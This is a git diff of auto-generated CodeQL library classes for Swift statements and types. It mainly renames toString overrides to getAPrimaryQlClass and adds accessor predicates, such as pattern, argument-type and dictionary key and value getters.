diff --git a/swift/ql/lib/codeql/swift/generated/stmt/ForEachStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/ForEachStmt.qll
index b0a1e357d57..5c05bc84139 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/ForEachStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/ForEachStmt.qll
@@ -2,20 +2,21 @@
 import codeql.swift.elements.stmt.BraceStmt
 import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.stmt.LabeledStmt
+import codeql.swift.elements.pattern.Pattern
 
 class ForEachStmtBase extends @for_each_stmt, LabeledStmt {
-  override string toString() { result = "ForEachStmt" }
+  override string getAPrimaryQlClass() { result = "ForEachStmt" }
 
-  BraceStmt getBody() {
-    exists(BraceStmt x |
-      for_each_stmts(this, x, _) and
+  Pattern getPattern() {
+    exists(Pattern x |
+      for_each_stmts(this, x, _, _) and
       result = x.resolve()
     )
   }
 
   Expr getSequence() {
     exists(Expr x |
-      for_each_stmts(this, _, x) and
+      for_each_stmts(this, _, x, _) and
       result = x.resolve()
     )
   }
@@ -26,4 +27,13 @@ class ForEachStmtBase extends @for_each_stmt, LabeledStmt {
       result = x.resolve()
     )
   }
+
+  predicate hasWhere() { exists(getWhere()) }
+
+  BraceStmt getBody() {
+    exists(BraceStmt x |
+      for_each_stmts(this, _, _, x) and
+      result = x.resolve()
+    )
+  }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/GuardStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/GuardStmt.qll
index a22da861807..7ce5fae33a2 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/GuardStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/GuardStmt.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.stmt.BraceStmt
 import codeql.swift.elements.stmt.LabeledConditionalStmt
 
 class GuardStmtBase extends @guard_stmt, LabeledConditionalStmt {
-  override string toString() { result = "GuardStmt" }
+  override string getAPrimaryQlClass() { result = "GuardStmt" }
 
   BraceStmt getBody() {
     exists(BraceStmt x |
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/IfStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/IfStmt.qll
index e9030626766..4311173fe51 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/IfStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/IfStmt.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.stmt.LabeledConditionalStmt
 import codeql.swift.elements.stmt.Stmt
 
 class IfStmtBase extends @if_stmt, LabeledConditionalStmt {
-  override string toString() { result = "IfStmt" }
+  override string getAPrimaryQlClass() { result = "IfStmt" }
 
   Stmt getThen() {
     exists(Stmt x |
@@ -18,4 +18,6 @@ class IfStmtBase extends @if_stmt, LabeledConditionalStmt {
       result = x.resolve()
     )
   }
+
+  predicate hasElse() { exists(getElse()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/LabeledStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/LabeledStmt.qll
index 6fcd47930dc..98374c9a5d2 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/LabeledStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/LabeledStmt.qll
@@ -3,4 +3,6 @@ import codeql.swift.elements.stmt.Stmt
 
 class LabeledStmtBase extends @labeled_stmt, Stmt {
   string getLabel() { labeled_stmt_labels(this, result) }
+
+  predicate hasLabel() { exists(getLabel()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/PoundAssertStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/PoundAssertStmt.qll
index ccce691d3d7..afbd1ffdf13 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/PoundAssertStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/PoundAssertStmt.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.stmt.Stmt
 
 class PoundAssertStmtBase extends @pound_assert_stmt, Stmt {
-  override string toString() { result = "PoundAssertStmt" }
+  override string getAPrimaryQlClass() { result = "PoundAssertStmt" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/RepeatWhileStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/RepeatWhileStmt.qll
index 291c0723ecf..6d03dcc07a9 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/RepeatWhileStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/RepeatWhileStmt.qll
@@ -4,7 +4,7 @@ import codeql.swift.elements.stmt.LabeledStmt
 import codeql.swift.elements.stmt.Stmt
 
 class RepeatWhileStmtBase extends @repeat_while_stmt, LabeledStmt {
-  override string toString() { result = "RepeatWhileStmt" }
+  override string getAPrimaryQlClass() { result = "RepeatWhileStmt" }
 
   Expr getCondition() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/ReturnStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/ReturnStmt.qll
index 4bde758e9e8..dcdaaae19b6 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/ReturnStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/ReturnStmt.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.stmt.Stmt
 
 class ReturnStmtBase extends @return_stmt, Stmt {
-  override string toString() { result = "ReturnStmt" }
+  override string getAPrimaryQlClass() { result = "ReturnStmt" }
 
   Expr getResult() {
     exists(Expr x |
@@ -11,4 +11,6 @@ class ReturnStmtBase extends @return_stmt, Stmt {
       result = x.resolve()
     )
   }
+
+  predicate hasResult() { exists(getResult()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/StmtCondition.qll b/swift/ql/lib/codeql/swift/generated/stmt/StmtCondition.qll
index 348cd6c564b..94aa0b746d2 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/StmtCondition.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/StmtCondition.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.AstNode
 import codeql.swift.elements.stmt.ConditionElement
 
 class StmtConditionBase extends @stmt_condition, AstNode {
-  override string toString() { result = "StmtCondition" }
+  override string getAPrimaryQlClass() { result = "StmtCondition" }
 
   ConditionElement getElement(int index) {
     exists(ConditionElement x |
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/SwitchStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/SwitchStmt.qll
index f137d7bd228..79bd3116cfe 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/SwitchStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/SwitchStmt.qll
@@ -4,7 +4,7 @@ import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.stmt.LabeledStmt
 
 class SwitchStmtBase extends @switch_stmt, LabeledStmt {
-  override string toString() { result = "SwitchStmt" }
+  override string getAPrimaryQlClass() { result = "SwitchStmt" }
 
   Expr getExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/ThrowStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/ThrowStmt.qll
index 5f724780bd1..7ede67545bb 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/ThrowStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/ThrowStmt.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.stmt.Stmt
 
 class ThrowStmtBase extends @throw_stmt, Stmt {
-  override string toString() { result = "ThrowStmt" }
+  override string getAPrimaryQlClass() { result = "ThrowStmt" }
 
   Expr getSubExpr() {
     exists(Expr x |
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/WhileStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/WhileStmt.qll
index 23a69ccfa36..959a129834b 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/WhileStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/WhileStmt.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.stmt.LabeledConditionalStmt
 import codeql.swift.elements.stmt.Stmt
 
 class WhileStmtBase extends @while_stmt, LabeledConditionalStmt {
-  override string toString() { result = "WhileStmt" }
+  override string getAPrimaryQlClass() { result = "WhileStmt" }
 
   Stmt getBody() {
     exists(Stmt x |
diff --git a/swift/ql/lib/codeql/swift/generated/stmt/YieldStmt.qll b/swift/ql/lib/codeql/swift/generated/stmt/YieldStmt.qll
index 6c94f2936f5..4cc32d764e1 100644
--- a/swift/ql/lib/codeql/swift/generated/stmt/YieldStmt.qll
+++ b/swift/ql/lib/codeql/swift/generated/stmt/YieldStmt.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.stmt.Stmt
 
 class YieldStmtBase extends @yield_stmt, Stmt {
-  override string toString() { result = "YieldStmt" }
+  override string getAPrimaryQlClass() { result = "YieldStmt" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/AnyFunctionType.qll b/swift/ql/lib/codeql/swift/generated/type/AnyFunctionType.qll
index 847017e44f2..6add8032bc1 100644
--- a/swift/ql/lib/codeql/swift/generated/type/AnyFunctionType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/AnyFunctionType.qll
@@ -25,4 +25,6 @@ class AnyFunctionTypeBase extends @any_function_type, Type {
   string getAParamLabel() { result = getParamLabel(_) }
 
   int getNumberOfParamLabels() { result = count(getAParamLabel()) }
+
+  predicate isThrowing() { any_function_type_is_throwing(this) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/AnyGenericType.qll b/swift/ql/lib/codeql/swift/generated/type/AnyGenericType.qll
index b366aac7496..41659bd5f08 100644
--- a/swift/ql/lib/codeql/swift/generated/type/AnyGenericType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/AnyGenericType.qll
@@ -10,6 +10,8 @@ class AnyGenericTypeBase extends @any_generic_type, Type {
     )
   }
 
+  predicate hasParent() { exists(getParent()) }
+
   Decl getDeclaration() {
     exists(Decl x |
       any_generic_types(this, x) and
diff --git a/swift/ql/lib/codeql/swift/generated/type/ArraySliceType.qll b/swift/ql/lib/codeql/swift/generated/type/ArraySliceType.qll
index f72995035e0..bb132bc2c72 100644
--- a/swift/ql/lib/codeql/swift/generated/type/ArraySliceType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/ArraySliceType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.UnarySyntaxSugarType
 
 class ArraySliceTypeBase extends @array_slice_type, UnarySyntaxSugarType {
-  override string toString() { result = "ArraySliceType" }
+  override string getAPrimaryQlClass() { result = "ArraySliceType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/BoundGenericClassType.qll b/swift/ql/lib/codeql/swift/generated/type/BoundGenericClassType.qll
index 10838dc3cd4..3d2a78b2309 100644
--- a/swift/ql/lib/codeql/swift/generated/type/BoundGenericClassType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/BoundGenericClassType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.BoundGenericType
 
 class BoundGenericClassTypeBase extends @bound_generic_class_type, BoundGenericType {
-  override string toString() { result = "BoundGenericClassType" }
+  override string getAPrimaryQlClass() { result = "BoundGenericClassType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/BoundGenericEnumType.qll b/swift/ql/lib/codeql/swift/generated/type/BoundGenericEnumType.qll
index fb47e1e1012..57103dce7f7 100644
--- a/swift/ql/lib/codeql/swift/generated/type/BoundGenericEnumType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/BoundGenericEnumType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.BoundGenericType
 
 class BoundGenericEnumTypeBase extends @bound_generic_enum_type, BoundGenericType {
-  override string toString() { result = "BoundGenericEnumType" }
+  override string getAPrimaryQlClass() { result = "BoundGenericEnumType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/BoundGenericStructType.qll b/swift/ql/lib/codeql/swift/generated/type/BoundGenericStructType.qll
index 9c52908a7a0..2f5d514488a 100644
--- a/swift/ql/lib/codeql/swift/generated/type/BoundGenericStructType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/BoundGenericStructType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.BoundGenericType
 
 class BoundGenericStructTypeBase extends @bound_generic_struct_type, BoundGenericType {
-  override string toString() { result = "BoundGenericStructType" }
+  override string getAPrimaryQlClass() { result = "BoundGenericStructType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/BoundGenericType.qll b/swift/ql/lib/codeql/swift/generated/type/BoundGenericType.qll
index d4cdbfe0551..d6160998cff 100644
--- a/swift/ql/lib/codeql/swift/generated/type/BoundGenericType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/BoundGenericType.qll
@@ -1,4 +1,16 @@
 // generated by codegen/codegen.py
 import codeql.swift.elements.type.NominalOrBoundGenericNominalType
+import codeql.swift.elements.type.Type
 
-class BoundGenericTypeBase extends @bound_generic_type, NominalOrBoundGenericNominalType { }
+class BoundGenericTypeBase extends @bound_generic_type, NominalOrBoundGenericNominalType {
+  Type getArgType(int index) {
+    exists(Type x |
+      bound_generic_type_arg_types(this, index, x) and
+      result = x.resolve()
+    )
+  }
+
+  Type getAnArgType() { result = getArgType(_) }
+
+  int getNumberOfArgTypes() { result = count(getAnArgType()) }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/type/BuiltinBridgeObjectType.qll b/swift/ql/lib/codeql/swift/generated/type/BuiltinBridgeObjectType.qll
index c39b9d3c0e0..8e18276ef2c 100644
--- a/swift/ql/lib/codeql/swift/generated/type/BuiltinBridgeObjectType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/BuiltinBridgeObjectType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.BuiltinType
 
 class BuiltinBridgeObjectTypeBase extends @builtin_bridge_object_type, BuiltinType {
-  override string toString() { result = "BuiltinBridgeObjectType" }
+  override string getAPrimaryQlClass() { result = "BuiltinBridgeObjectType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/BuiltinDefaultActorStorageType.qll b/swift/ql/lib/codeql/swift/generated/type/BuiltinDefaultActorStorageType.qll
index be8f5527ab0..cdc635f42a7 100644
--- a/swift/ql/lib/codeql/swift/generated/type/BuiltinDefaultActorStorageType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/BuiltinDefaultActorStorageType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.BuiltinType
 
 class BuiltinDefaultActorStorageTypeBase extends @builtin_default_actor_storage_type, BuiltinType {
-  override string toString() { result = "BuiltinDefaultActorStorageType" }
+  override string getAPrimaryQlClass() { result = "BuiltinDefaultActorStorageType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/BuiltinExecutorType.qll b/swift/ql/lib/codeql/swift/generated/type/BuiltinExecutorType.qll
index 13c3c8a672a..32444cc4704 100644
--- a/swift/ql/lib/codeql/swift/generated/type/BuiltinExecutorType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/BuiltinExecutorType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.BuiltinType
 
 class BuiltinExecutorTypeBase extends @builtin_executor_type, BuiltinType {
-  override string toString() { result = "BuiltinExecutorType" }
+  override string getAPrimaryQlClass() { result = "BuiltinExecutorType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/BuiltinFloatType.qll b/swift/ql/lib/codeql/swift/generated/type/BuiltinFloatType.qll
index 03395bb5d3a..509e66a070c 100644
--- a/swift/ql/lib/codeql/swift/generated/type/BuiltinFloatType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/BuiltinFloatType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.BuiltinType
 
 class BuiltinFloatTypeBase extends @builtin_float_type, BuiltinType {
-  override string toString() { result = "BuiltinFloatType" }
+  override string getAPrimaryQlClass() { result = "BuiltinFloatType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/BuiltinIntegerLiteralType.qll b/swift/ql/lib/codeql/swift/generated/type/BuiltinIntegerLiteralType.qll
index e4eeb5f574c..88c8b0dd3db 100644
--- a/swift/ql/lib/codeql/swift/generated/type/BuiltinIntegerLiteralType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/BuiltinIntegerLiteralType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.AnyBuiltinIntegerType
 
 class BuiltinIntegerLiteralTypeBase extends @builtin_integer_literal_type, AnyBuiltinIntegerType {
-  override string toString() { result = "BuiltinIntegerLiteralType" }
+  override string getAPrimaryQlClass() { result = "BuiltinIntegerLiteralType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/BuiltinIntegerType.qll b/swift/ql/lib/codeql/swift/generated/type/BuiltinIntegerType.qll
index 05d0adf5ac2..a3dfe331fe2 100644
--- a/swift/ql/lib/codeql/swift/generated/type/BuiltinIntegerType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/BuiltinIntegerType.qll
@@ -2,5 +2,9 @@
 import codeql.swift.elements.type.AnyBuiltinIntegerType
 
 class BuiltinIntegerTypeBase extends @builtin_integer_type, AnyBuiltinIntegerType {
-  override string toString() { result = "BuiltinIntegerType" }
+  override string getAPrimaryQlClass() { result = "BuiltinIntegerType" }
+
+  int getWidth() { builtin_integer_type_widths(this, result) }
+
+  predicate hasWidth() { exists(getWidth()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/BuiltinJobType.qll b/swift/ql/lib/codeql/swift/generated/type/BuiltinJobType.qll
index ec226839e5e..4f89a9a02c2 100644
--- a/swift/ql/lib/codeql/swift/generated/type/BuiltinJobType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/BuiltinJobType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.BuiltinType
 
 class BuiltinJobTypeBase extends @builtin_job_type, BuiltinType {
-  override string toString() { result = "BuiltinJobType" }
+  override string getAPrimaryQlClass() { result = "BuiltinJobType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/BuiltinNativeObjectType.qll b/swift/ql/lib/codeql/swift/generated/type/BuiltinNativeObjectType.qll
index 6a8f75fe582..26d84273d89 100644
--- a/swift/ql/lib/codeql/swift/generated/type/BuiltinNativeObjectType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/BuiltinNativeObjectType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.BuiltinType
 
 class BuiltinNativeObjectTypeBase extends @builtin_native_object_type, BuiltinType {
-  override string toString() { result = "BuiltinNativeObjectType" }
+  override string getAPrimaryQlClass() { result = "BuiltinNativeObjectType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/BuiltinRawPointerType.qll b/swift/ql/lib/codeql/swift/generated/type/BuiltinRawPointerType.qll
index ebc8e11fdd0..509f0eddba6 100644
--- a/swift/ql/lib/codeql/swift/generated/type/BuiltinRawPointerType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/BuiltinRawPointerType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.BuiltinType
 
 class BuiltinRawPointerTypeBase extends @builtin_raw_pointer_type, BuiltinType {
-  override string toString() { result = "BuiltinRawPointerType" }
+  override string getAPrimaryQlClass() { result = "BuiltinRawPointerType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/BuiltinRawUnsafeContinuationType.qll b/swift/ql/lib/codeql/swift/generated/type/BuiltinRawUnsafeContinuationType.qll
index 82d6bdb8e05..4fd93326e5e 100644
--- a/swift/ql/lib/codeql/swift/generated/type/BuiltinRawUnsafeContinuationType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/BuiltinRawUnsafeContinuationType.qll
@@ -3,5 +3,5 @@ import codeql.swift.elements.type.BuiltinType
 
 class BuiltinRawUnsafeContinuationTypeBase extends @builtin_raw_unsafe_continuation_type,
   BuiltinType {
-  override string toString() { result = "BuiltinRawUnsafeContinuationType" }
+  override string getAPrimaryQlClass() { result = "BuiltinRawUnsafeContinuationType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/BuiltinUnsafeValueBufferType.qll b/swift/ql/lib/codeql/swift/generated/type/BuiltinUnsafeValueBufferType.qll
index dcf5ad2cc99..76f2beb8d95 100644
--- a/swift/ql/lib/codeql/swift/generated/type/BuiltinUnsafeValueBufferType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/BuiltinUnsafeValueBufferType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.BuiltinType
 
 class BuiltinUnsafeValueBufferTypeBase extends @builtin_unsafe_value_buffer_type, BuiltinType {
-  override string toString() { result = "BuiltinUnsafeValueBufferType" }
+  override string getAPrimaryQlClass() { result = "BuiltinUnsafeValueBufferType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/BuiltinVectorType.qll b/swift/ql/lib/codeql/swift/generated/type/BuiltinVectorType.qll
index 2a8e43f4d8f..493a64f7717 100644
--- a/swift/ql/lib/codeql/swift/generated/type/BuiltinVectorType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/BuiltinVectorType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.BuiltinType
 
 class BuiltinVectorTypeBase extends @builtin_vector_type, BuiltinType {
-  override string toString() { result = "BuiltinVectorType" }
+  override string getAPrimaryQlClass() { result = "BuiltinVectorType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/ClassType.qll b/swift/ql/lib/codeql/swift/generated/type/ClassType.qll
index 379c8a71aef..c19d65608f2 100644
--- a/swift/ql/lib/codeql/swift/generated/type/ClassType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/ClassType.qll
@@ -1,14 +1,6 @@
 // generated by codegen/codegen.py
-import codeql.swift.elements.decl.ClassDecl
 import codeql.swift.elements.type.NominalType
 
 class ClassTypeBase extends @class_type, NominalType {
-  override string toString() { result = "ClassType" }
-
-  ClassDecl getDecl() {
-    exists(ClassDecl x |
-      class_types(this, x) and
-      result = x.resolve()
-    )
-  }
+  override string getAPrimaryQlClass() { result = "ClassType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/DependentMemberType.qll b/swift/ql/lib/codeql/swift/generated/type/DependentMemberType.qll
index 7a70d09dbef..ac807feab85 100644
--- a/swift/ql/lib/codeql/swift/generated/type/DependentMemberType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/DependentMemberType.qll
@@ -1,6 +1,21 @@
 // generated by codegen/codegen.py
+import codeql.swift.elements.decl.AssociatedTypeDecl
 import codeql.swift.elements.type.Type
 
 class DependentMemberTypeBase extends @dependent_member_type, Type {
-  override string toString() { result = "DependentMemberType" }
+  override string getAPrimaryQlClass() { result = "DependentMemberType" }
+
+  Type getBaseType() {
+    exists(Type x |
+      dependent_member_types(this, x, _) and
+      result = x.resolve()
+    )
+  }
+
+  AssociatedTypeDecl getAssociatedTypeDecl() {
+    exists(AssociatedTypeDecl x |
+      dependent_member_types(this, _, x) and
+      result = x.resolve()
+    )
+  }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/DictionaryType.qll b/swift/ql/lib/codeql/swift/generated/type/DictionaryType.qll
index 30bd28f99c1..6afb2507284 100644
--- a/swift/ql/lib/codeql/swift/generated/type/DictionaryType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/DictionaryType.qll
@@ -1,6 +1,21 @@
 // generated by codegen/codegen.py
 import codeql.swift.elements.type.SyntaxSugarType
+import codeql.swift.elements.type.Type
 
 class DictionaryTypeBase extends @dictionary_type, SyntaxSugarType {
-  override string toString() { result = "DictionaryType" }
+  override string getAPrimaryQlClass() { result = "DictionaryType" }
+
+  Type getKeyType() {
+    exists(Type x |
+      dictionary_types(this, x, _) and
+      result = x.resolve()
+    )
+  }
+
+  Type getValueType() {
+    exists(Type x |
+      dictionary_types(this, _, x) and
+      result = x.resolve()
+    )
+  }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/DynamicSelfType.qll b/swift/ql/lib/codeql/swift/generated/type/DynamicSelfType.qll
index 5b1913db7c7..ff3eeb90b87 100644
--- a/swift/ql/lib/codeql/swift/generated/type/DynamicSelfType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/DynamicSelfType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.Type
 
 class DynamicSelfTypeBase extends @dynamic_self_type, Type {
-  override string toString() { result = "DynamicSelfType" }
+  override string getAPrimaryQlClass() { result = "DynamicSelfType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/EnumType.qll b/swift/ql/lib/codeql/swift/generated/type/EnumType.qll
index 5fd3d90acb4..99e2cea2fcd 100644
--- a/swift/ql/lib/codeql/swift/generated/type/EnumType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/EnumType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.NominalType
 
 class EnumTypeBase extends @enum_type, NominalType {
-  override string toString() { result = "EnumType" }
+  override string getAPrimaryQlClass() { result = "EnumType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/ErrorType.qll b/swift/ql/lib/codeql/swift/generated/type/ErrorType.qll
index 2d65d938f86..f7156ec110c 100644
--- a/swift/ql/lib/codeql/swift/generated/type/ErrorType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/ErrorType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.Type
 
 class ErrorTypeBase extends @error_type, Type {
-  override string toString() { result = "ErrorType" }
+  override string getAPrimaryQlClass() { result = "ErrorType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/ExistentialMetatypeType.qll b/swift/ql/lib/codeql/swift/generated/type/ExistentialMetatypeType.qll
index b84efeb003a..fcdd1a52224 100644
--- a/swift/ql/lib/codeql/swift/generated/type/ExistentialMetatypeType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/ExistentialMetatypeType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.AnyMetatypeType
 
 class ExistentialMetatypeTypeBase extends @existential_metatype_type, AnyMetatypeType {
-  override string toString() { result = "ExistentialMetatypeType" }
+  override string getAPrimaryQlClass() { result = "ExistentialMetatypeType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/ExistentialType.qll b/swift/ql/lib/codeql/swift/generated/type/ExistentialType.qll
index 5f4ae535fdb..e2d92d553de 100644
--- a/swift/ql/lib/codeql/swift/generated/type/ExistentialType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/ExistentialType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.Type
 
 class ExistentialTypeBase extends @existential_type, Type {
-  override string toString() { result = "ExistentialType" }
+  override string getAPrimaryQlClass() { result = "ExistentialType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/FunctionType.qll b/swift/ql/lib/codeql/swift/generated/type/FunctionType.qll
index c2550ea442c..dcb5da46bbd 100644
--- a/swift/ql/lib/codeql/swift/generated/type/FunctionType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/FunctionType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.AnyFunctionType
 
 class FunctionTypeBase extends @function_type, AnyFunctionType {
-  override string toString() { result = "FunctionType" }
+  override string getAPrimaryQlClass() { result = "FunctionType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/GenericFunctionType.qll b/swift/ql/lib/codeql/swift/generated/type/GenericFunctionType.qll
index cc3395146be..7b34e262d03 100644
--- a/swift/ql/lib/codeql/swift/generated/type/GenericFunctionType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/GenericFunctionType.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.type.AnyFunctionType
 import codeql.swift.elements.type.GenericTypeParamType
 
 class GenericFunctionTypeBase extends @generic_function_type, AnyFunctionType {
-  override string toString() { result = "GenericFunctionType" }
+  override string getAPrimaryQlClass() { result = "GenericFunctionType" }
 
   GenericTypeParamType getGenericParam(int index) {
     exists(GenericTypeParamType x |
diff --git a/swift/ql/lib/codeql/swift/generated/type/GenericTypeParamType.qll b/swift/ql/lib/codeql/swift/generated/type/GenericTypeParamType.qll
index de0a5c7c596..c0b13904806 100644
--- a/swift/ql/lib/codeql/swift/generated/type/GenericTypeParamType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/GenericTypeParamType.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.type.SubstitutableType
 
 class GenericTypeParamTypeBase extends @generic_type_param_type, SubstitutableType {
-  override string toString() { result = "GenericTypeParamType" }
+  override string getAPrimaryQlClass() { result = "GenericTypeParamType" }
 
   string getName() { generic_type_param_types(this, result) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/InOutType.qll b/swift/ql/lib/codeql/swift/generated/type/InOutType.qll
index 17ff1407de2..4d54e929657 100644
--- a/swift/ql/lib/codeql/swift/generated/type/InOutType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/InOutType.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.type.Type
 
 class InOutTypeBase extends @in_out_type, Type {
-  override string toString() { result = "InOutType" }
+  override string getAPrimaryQlClass() { result = "InOutType" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/type/LValueType.qll b/swift/ql/lib/codeql/swift/generated/type/LValueType.qll
index a7ede84558f..df0f433ac84 100644
--- a/swift/ql/lib/codeql/swift/generated/type/LValueType.qll
+++ b/swift/ql/lib/codeql/swift/generated/type/LValueType.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.type.Type
 
 class LValueTypeBase extends @l_value_type, Type {
-  override string toString() { result = "LValueType" }
+  override string getAPrimaryQlClass() { result = "LValueType" }
 
   Type getObjectType() {
     exists(Type x |
